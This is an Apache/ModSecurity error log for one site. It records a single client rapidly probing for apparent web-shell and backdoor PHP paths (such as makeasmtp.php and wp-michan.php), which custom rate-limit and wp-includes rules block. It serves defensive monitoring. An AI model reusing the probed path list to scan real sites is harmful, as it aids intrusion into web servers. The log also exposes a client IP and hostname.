[Fri Apr 17 00:07:10.908560 2026] [:error] [pid 43386:tid 43428] [client 158.158.73.200:59626] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "aeEJLu91GAVgUfhPVDGilwAAAEg"]
[Fri Apr 17 00:07:11.479917 2026] [:error] [pid 43482:tid 43489] [client 158.158.73.200:18894] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "aeEJLz9SZnuKxlHrct1l0AAAAMU"]
[Fri Apr 17 00:07:12.065481 2026] [:error] [pid 43482:tid 43494] [client 158.158.73.200:64008] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/222.php"] [unique_id "aeEJMD9SZnuKxlHrct1l1gAAAMo"]
[Fri Apr 17 00:07:13.048984 2026] [:error] [pid 43482:tid 43489] [client 158.158.73.200:47140] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/222.php"] [unique_id "aeEJMT9SZnuKxlHrct1l3QAAAMU"]
[Fri Apr 17 00:07:13.783107 2026] [:error] [pid 43386:tid 43442] [client 158.158.73.200:51795] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/222.php"] [unique_id "aeEJMe91GAVgUfhPVDGimAAAAFU"]
[Fri Apr 17 00:07:14.697956 2026] [:error] [pid 43385:tid 43396] [client 158.158.73.200:24362] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/222.php"] [unique_id "aeEJMsnIxkJaUI8KNs7oNQAAAAc"]
[Fri Apr 17 00:07:15.650488 2026] [:error] [pid 43385:tid 43402] [client 158.158.73.200:47134] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cgi-bin/index.php"] [unique_id "aeEJM8nIxkJaUI8KNs7oNgAAAA0"]
[Fri Apr 17 00:07:16.399308 2026] [:error] [pid 43387:tid 43473] [client 158.158.73.200:60017] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cgi-bin/index.php"] [unique_id "aeEJNCBNsONqHxWTakUaXwAAAJQ"]
[Fri Apr 17 00:07:17.066489 2026] [:error] [pid 43387:tid 43467] [client 158.158.73.200:51838] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cgi-bin/index.php"] [unique_id "aeEJNSBNsONqHxWTakUaYAAAAI4"]
[Fri Apr 17 00:07:17.733466 2026] [:error] [pid 43387:tid 43475] [client 158.158.73.200:59596] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cgi-bin/index.php"] [unique_id "aeEJNSBNsONqHxWTakUaYQAAAJY"]
[Fri Apr 17 00:07:18.355003 2026] [:error] [pid 43387:tid 43465] [client 158.158.73.200:64158] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fff.php"] [unique_id "aeEJNiBNsONqHxWTakUaYwAAAIw"]
[Fri Apr 17 00:07:19.003282 2026] [:error] [pid 43387:tid 43474] [client 158.158.73.200:24419] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fff.php"] [unique_id "aeEJNyBNsONqHxWTakUaZAAAAJU"]
[Fri Apr 17 00:07:19.639596 2026] [:error] [pid 43387:tid 43453] [client 158.158.73.200:24370] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fff.php"] [unique_id "aeEJNyBNsONqHxWTakUaZwAAAIM"]
[Fri Apr 17 00:07:20.397609 2026] [:error] [pid 43387:tid 43462] [client 158.158.73.200:64041] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fff.php"] [unique_id "aeEJOCBNsONqHxWTakUaawAAAIs"]
[Fri Apr 17 00:07:21.008182 2026] [:error] [pid 43387:tid 43449] [client 158.158.73.200:64154] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/"] [unique_id "aeEJOSBNsONqHxWTakUabQAAAIE"]
[Fri Apr 17 00:07:21.875014 2026] [:error] [pid 43387:tid 43473] [client 158.158.73.200:51794] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/"] [unique_id "aeEJOSBNsONqHxWTakUabgAAAJQ"]
[Fri Apr 17 00:07:22.488452 2026] [:error] [pid 43482:tid 43499] [client 158.158.73.200:21914] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/"] [unique_id "aeEJOj9SZnuKxlHrct1l-QAAAM8"]
[Fri Apr 17 00:07:23.189694 2026] [:error] [pid 43387:tid 43476] [client 158.158.73.200:24404] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/"] [unique_id "aeEJOyBNsONqHxWTakUacgAAAJc"]
[Fri Apr 17 00:07:24.085799 2026] [:error] [pid 43386:tid 43426] [client 158.158.73.200:59991] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/we.php"] [unique_id "aeEJPO91GAVgUfhPVDGiogAAAEY"]
[Fri Apr 17 00:07:25.407495 2026] [:error] [pid 43482:tid 43494] [client 158.158.73.200:21975] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/we.php"] [unique_id "aeEJPT9SZnuKxlHrct1mCgAAAMo"]
[Fri Apr 17 00:07:26.174557 2026] [:error] [pid 43387:tid 43460] [client 158.158.73.200:24417] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/we.php"] [unique_id "aeEJPiBNsONqHxWTakUagQAAAIk"]
[Fri Apr 17 00:07:27.101113 2026] [:error] [pid 43482:tid 43492] [client 158.158.73.200:21908] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/we.php"] [unique_id "aeEJPz9SZnuKxlHrct1mDAAAAMg"]
[Fri Apr 17 00:07:27.740198 2026] [:error] [pid 43482:tid 43488] [client 158.158.73.200:18896] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alpha.php"] [unique_id "aeEJPz9SZnuKxlHrct1mDQAAAMQ"]
[Fri Apr 17 00:07:28.229733 2026] [:error] [pid 43387:tid 43450] [client 158.158.73.200:59589] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alpha.php"] [unique_id "aeEJQCBNsONqHxWTakUahAAAAII"]
[Fri Apr 17 00:07:28.896388 2026] [:error] [pid 43385:tid 43393] [client 158.158.73.200:47161] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alpha.php"] [unique_id "aeEJQMnIxkJaUI8KNs7oOQAAAAQ"]
[Fri Apr 17 00:07:29.551241 2026] [:error] [pid 43386:tid 43432] [client 158.158.73.200:20263] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alpha.php"] [unique_id "aeEJQe91GAVgUfhPVDGipAAAAEw"]
[Fri Apr 17 00:07:30.453465 2026] [:error] [pid 43387:tid 43462] [client 158.158.73.200:47160] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/makeasmtp.php"] [unique_id "aeEJQiBNsONqHxWTakUajwAAAIs"]
[Fri Apr 17 00:07:31.328587 2026] [:error] [pid 43482:tid 43487] [client 158.158.73.200:64053] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/makeasmtp.php"] [unique_id "aeEJQz9SZnuKxlHrct1mEQAAAMM"]
[Fri Apr 17 00:07:32.199192 2026] [:error] [pid 43482:tid 43484] [client 158.158.73.200:24445] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/makeasmtp.php"] [unique_id "aeEJRD9SZnuKxlHrct1mFQAAAMA"]
[Fri Apr 17 00:07:32.901917 2026] [:error] [pid 43386:tid 43445] [client 158.158.73.200:64175] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/makeasmtp.php"] [unique_id "aeEJRO91GAVgUfhPVDGirAAAAFg"]
[Fri Apr 17 00:07:33.594327 2026] [:error] [pid 43482:tid 43508] [client 158.158.73.200:21940] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-michan.php"] [unique_id "aeEJRT9SZnuKxlHrct1mFwAAANg"]
[Fri Apr 17 00:07:34.819948 2026] [:error] [pid 43387:tid 43465] [client 158.158.73.200:47117] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-michan.php"] [unique_id "aeEJRiBNsONqHxWTakUamAAAAIw"]
[Fri Apr 17 00:07:35.836945 2026] [:error] [pid 43482:tid 43488] [client 158.158.73.200:47154] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-michan.php"] [unique_id "aeEJRz9SZnuKxlHrct1mHQAAAMQ"]
[Fri Apr 17 00:07:36.446796 2026] [:error] [pid 43482:tid 43489] [client 158.158.73.200:47118] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-michan.php"] [unique_id "aeEJSD9SZnuKxlHrct1mIAAAAMU"]
[Fri Apr 17 00:07:37.293695 2026] [:error] [pid 43387:tid 43462] [client 158.158.73.200:47149] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin1.php"] [unique_id "aeEJSSBNsONqHxWTakUanQAAAIs"]
[Fri Apr 17 00:07:37.864590 2026] [:error] [pid 43482:tid 43504] [client 158.158.73.200:64022] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin1.php"] [unique_id "aeEJST9SZnuKxlHrct1mJwAAANQ"]
[Fri Apr 17 00:07:38.440319 2026] [:error] [pid 43386:tid 43439] [client 158.158.73.200:47124] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin1.php"] [unique_id "aeEJSu91GAVgUfhPVDGisAAAAFM"]
[Fri Apr 17 00:07:39.277386 2026] [:error] [pid 43482:tid 43508] [client 158.158.73.200:22015] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin1.php"] [unique_id "aeEJSz9SZnuKxlHrct1mLgAAANg"]
[Fri Apr 17 00:07:40.889212 2026] [:error] [pid 43482:tid 43502] [client 158.158.73.200:59996] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "aeEJTD9SZnuKxlHrct1mMQAAANI"]
[Fri Apr 17 00:07:41.598286 2026] [:error] [pid 43387:tid 43476] [client 158.158.73.200:21968] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "aeEJTSBNsONqHxWTakUapgAAAJc"]
[Fri Apr 17 00:07:42.169747 2026] [:error] [pid 43385:tid 43411] [client 158.158.73.200:47145] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "aeEJTsnIxkJaUI8KNs7oSgAAABU"]
[Fri Apr 17 00:07:42.818087 2026] [:error] [pid 43386:tid 43436] [client 158.158.73.200:21991] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "aeEJTu91GAVgUfhPVDGitgAAAFA"]
[Fri Apr 17 00:07:43.532581 2026] [:error] [pid 43386:tid 43441] [client 158.158.73.200:21907] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/BDKR28WP.php"] [unique_id "aeEJT-91GAVgUfhPVDGiuQAAAFQ"]
[Fri Apr 17 00:07:44.168698 2026] [:error] [pid 43386:tid 43431] [client 158.158.73.200:47128] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/BDKR28WP.php"] [unique_id "aeEJUO91GAVgUfhPVDGivwAAAEs"]
[Fri Apr 17 00:07:44.857055 2026] [:error] [pid 43387:tid 43457] [client 158.158.73.200:47132] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/BDKR28WP.php"] [unique_id "aeEJUCBNsONqHxWTakUaqgAAAIY"]
[Fri Apr 17 00:07:45.498206 2026] [:error] [pid 43387:tid 43448] [client 158.158.73.200:18926] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/BDKR28WP.php"] [unique_id "aeEJUSBNsONqHxWTakUasAAAAIA"]
[Fri Apr 17 00:07:46.058638 2026] [:error] [pid 43386:tid 43430] [client 158.158.73.200:47158] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/l10n/"] [unique_id "aeEJUu91GAVgUfhPVDGixQAAAEo"]
[Fri Apr 17 00:07:46.750571 2026] [:error] [pid 43386:tid 43437] [client 158.158.73.200:64033] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/l10n/"] [unique_id "aeEJUu91GAVgUfhPVDGiyAAAAFE"]
[Fri Apr 17 00:07:47.549483 2026] [:error] [pid 43385:tid 43413] [client 158.158.73.200:51792] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/l10n/"] [unique_id "aeEJU8nIxkJaUI8KNs7oUgAAABc"]
[Fri Apr 17 00:07:48.147034 2026] [:error] [pid 43385:tid 43415] [client 158.158.73.200:47125] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/l10n/"] [unique_id "aeEJVMnIxkJaUI8KNs7oVgAAABg"]
[Fri Apr 17 00:07:48.680503 2026] [:error] [pid 43386:tid 43421] [client 158.158.73.200:47162] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wen.php"] [unique_id "aeEJVO91GAVgUfhPVDGi0AAAAEE"]
[Fri Apr 17 00:07:49.338481 2026] [:error] [pid 43385:tid 43397] [client 158.158.73.200:17132] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wen.php"] [unique_id "aeEJVcnIxkJaUI8KNs7oZAAAAAg"]
[Fri Apr 17 00:07:49.992137 2026] [:error] [pid 43482:tid 43498] [client 158.158.73.200:59981] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wen.php"] [unique_id "aeEJVT9SZnuKxlHrct1mQwAAAM4"]
[Fri Apr 17 00:07:50.616489 2026] [proxy_fcgi:error] [pid 43387:tid 43454] [client 158.158.73.200:51777] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 00:07:50.896458 2026] [proxy_fcgi:error] [pid 43387:tid 43465] [client 158.158.73.200:51777] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 00:07:51.598348 2026] [proxy_fcgi:error] [pid 43387:tid 43449] [client 158.158.73.200:51777] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 00:07:52.245496 2026] [proxy_fcgi:error] [pid 43387:tid 43459] [client 158.158.73.200:51777] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 00:07:52.553661 2026] [proxy_fcgi:error] [pid 43387:tid 43468] [client 158.158.73.200:51777] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 00:07:52.875065 2026] [proxy_fcgi:error] [pid 43387:tid 43462] [client 158.158.73.200:51777] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 00:07:53.188757 2026] [proxy_fcgi:error] [pid 43387:tid 43450] [client 158.158.73.200:51777] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 00:07:53.776944 2026] [:error] [pid 43387:tid 43453] [client 158.158.73.200:51777] [client 158.158.73.200] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "aeEJWSBNsONqHxWTakUa7AAAAIM"]
[Fri Apr 17 00:07:54.503985 2026] [proxy_fcgi:error] [pid 43482:tid 43508] [client 158.158.73.200:20167] AH01071: Got error 'Primary script unknown'
